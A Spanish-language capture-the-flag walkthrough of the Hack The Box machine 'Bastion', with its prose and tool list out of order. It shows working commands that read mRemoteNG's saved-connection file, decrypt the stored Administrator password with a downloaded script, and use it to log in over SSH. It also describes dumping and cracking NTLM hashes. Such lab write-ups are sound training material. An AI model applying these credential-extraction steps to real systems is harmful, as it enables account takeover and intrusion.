  • Navega a una clave de registro (HKLM = HKEY_LOCAL_MACHINE).

  • Esa ruta corresponde a los programas instalados en Windows de 32 bits.

  • Get-ItemProperty extrae propiedades de cada programa instalado.

  • Select-Object DisplayName elige solamente el nombre visible del programa.

  • Sirve para listar programas instalados de 32 bits.

powershell -Command "Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall*' | Select-Object DisplayName"

  • Similar al comando anterior con la diferencia de que mira directamente en SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*.

  • Esta ruta lista programas de 64 bits instalados en el sistema.

dir %APPDATA%\mRemoteNG\

  • dir → lista el contenido de un directorio.

  • %APPDATA% → variable de entorno que apunta a la carpeta: C:\Users\Usuario\AppData\Roaming

  • lista los archivos dentro de la carpeta de configuración de mRemoteNG para el usuario actual.

  • Normalmente ahí se encuentra el archivo confCons.xml → archivo donde mRemoteNG guarda todas las configuraciones de conexiones (y las credenciales).

Extracción de credenciales desde mRemoteNG

Encontramos la herramienta mRemoteNG. Con esta aplicación podemos buscar credenciales que se encuentren expuestas en sus archivos de configuración.

l4mpje@BASTION C:\>dir %APPDATA%\mRemoteNG\                                                  
 Volume in drive C has no label.                                                             
 Volume Serial Number is 1B7D-E692                                                           
                                                                                             
 Directory of C:\Users\L4mpje\AppData\Roaming\mRemoteNG                                      
                                                                                             
22-02-2019  15:03    <DIR>          .                                                        
22-02-2019  15:03    <DIR>          ..                                                       
22-02-2019  15:03             6.316 confCons.xml                                             
22-02-2019  15:02             6.194 confCons.xml.20190222-1402277353.backup                  
22-02-2019  15:02             6.206 confCons.xml.20190222-1402339071.backup                  
22-02-2019  15:02             6.218 confCons.xml.20190222-1402379227.backup                  
22-02-2019  15:02             6.231 confCons.xml.20190222-1403070644.backup                  
22-02-2019  15:03             6.319 confCons.xml.20190222-1403100488.backup                  
22-02-2019  15:03             6.318 confCons.xml.20190222-1403220026.backup                  
22-02-2019  15:03             6.315 confCons.xml.20190222-1403261268.backup                  
22-02-2019  15:03             6.316 confCons.xml.20190222-1403272831.backup                  
22-02-2019  15:03             6.315 confCons.xml.20190222-1403433299.backup                  
22-02-2019  15:03             6.316 confCons.xml.20190222-1403486580.backup                  
22-02-2019  15:03                51 extApps.xml                                              
22-02-2019  15:03             5.217 mRemoteNG.log                                            
22-02-2019  15:03             2.245 pnlLayout.xml                                            
22-02-2019  15:01    <DIR>          Themes                                                   
              14 File(s)         76.577 bytes                                                
               3 Dir(s)   4.806.193.152 bytes free                                                                                                                                                                                                                                                                                                                 

Vemos muchos ficheros confCons.xml, pero vamos a leer el que no es un backup

l4mpje@BASTION C:\>type \Users\L4mpje\AppData\Roaming\mRemoteNG\confCons.xml                 
<?xml version="1.0" encoding="utf-8"?>                                                       
<mrng:Connections xmlns:mrng="http://mremoteng.org" Name="Connections" Export="false" Encrypt
ionEngine="AES" BlockCipherMode="GCM" KdfIterations="1000" FullFileEncryption="false" Protect
ed="ZSvKI7j224Gf/twXpaP5G2QFZMLr1iO1f5JKdtIKL6eUg+eWkL5tKO886au0ofFPW0oop8R8ddXKAx4KK7sAk6AA"
 ConfVersion="2.6">                                                                          
    <Node Name="DC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="500e7d58-
662a-44d4-aff0-3a4f547a3fee" Username="Administrator" Domain="" Password="aEWNFV5uGcjUHF0uS17
QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==" Hostname="127.0.0.1" P
rotocol="RDP" [.......] InheritRDGatewayUseConnectionCredentials="false" InheritR
DGatewayUsername="false" InheritRDGatewayPassword="false" InheritRDGatewayDomain="false" />  
</mrng:Connections> 
┌──(root㉿kali)-[/home/kali/Documents/HTB/BASTION]
└─# wget https://raw.githubusercontent.com/haseebT/mRemoteNG-Decrypt/refs/heads/master/mremoteng_decrypt.py

--2025-04-28 01:33:47--  https://raw.githubusercontent.com/haseebT/mRemoteNG-Decrypt/refs/heads/master/mremoteng_decrypt.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.110.133, 185.199.111.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1535 (1.5K) [text/plain]
Saving to: ‘mremoteng_decrypt.py’

mremoteng_decrypt.py    100%[============================>]   1.50K  --.-KB/s    in 0s      

2025-04-28 01:33:47 (11.2 MB/s) - ‘mremoteng_decrypt.py’ saved [1535/1535]

                                                                                             
┌──(root㉿kali)-[/home/kali/Documents/HTB/BASTION]
└─# ls
backup  mremoteng_decrypt.py  smb_shares_backup  windowsconf
                                                                                             
┌──(root㉿kali)-[/home/kali/Documents/HTB/BASTION]
└─# python3 mremoteng_decrypt.py -s "aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="                                     
Password: thXLHM96BeKL0ER2

Acceso como administrador

Ahora nos conectamos y buscamos las flags ( ͡° ͜ʖ ͡°)

┌──(root㉿kali)-[/home/kali/Documents/HTB/BASTION]
└─# ssh Administrator@10.10.10.134 -o StrictHostKeyChecking=no
Administrator@10.10.10.134's password: 
Microsoft Windows [Version 10.0.14393]                                                       
(c) 2016 Microsoft Corporation. All rights reserved.                                         

administrator@BASTION C:\Users\Administrator>type \Users\Administrator\Desktop\root.txt      
d8419a**************************                                                            

administrator@BASTION C:\Users\Administrator>type \Users\L4mpje\Desktop\user.txt             
d3f88e**************************

Last updated 10 days ago

Esta vez usaremos la tool para ver si tenemos permisos de escritura o lectura en la unidad compartida.

El recurso que no interesa ver es el Backups. Vamos a usar para navegar entre el contenido de este directorio y buscar información o recursos sensibles.

Una vez copiado estos ficheros nos moveremos hacia esa carpeta (en mi caso windowsconf) y usaremos la tool para dumpear los hashes NTLMv2 y copiaremos esos hashes en un archivo .txt (en mi caso hashes.txt)

Una vez que obtengamos los hashes vamos a crackearlos con usando el diccionario rockyou.txt y pasandole el archivo donde los guardamos (hashes.txt).

Y de esta forma logramos obtener una credencial que nos servirá para conectarnos al puerto 22 por ssh. Una vez que tenemos acceso al sistema podemos intentar muchas cosas como , , pero para esta máquina nos va a ser de utilidad enumerar las aplicaciones que están instaladas y para lograr esto vamos a utilizar los siguientes comandos invocando powershell:

Encontramos las credenciales del Administrator, ahora solo hay que crackearlas para usar su conexión ssh. Para este caso vamos a usar la tool que crackea especificamente este tipo de cifrados:

nxc
smbclient
johntheripper
enumerar permisos de usuario
listar o identificar ficheros específicos
mremoteng_decrypt.py
impacket-secretsdump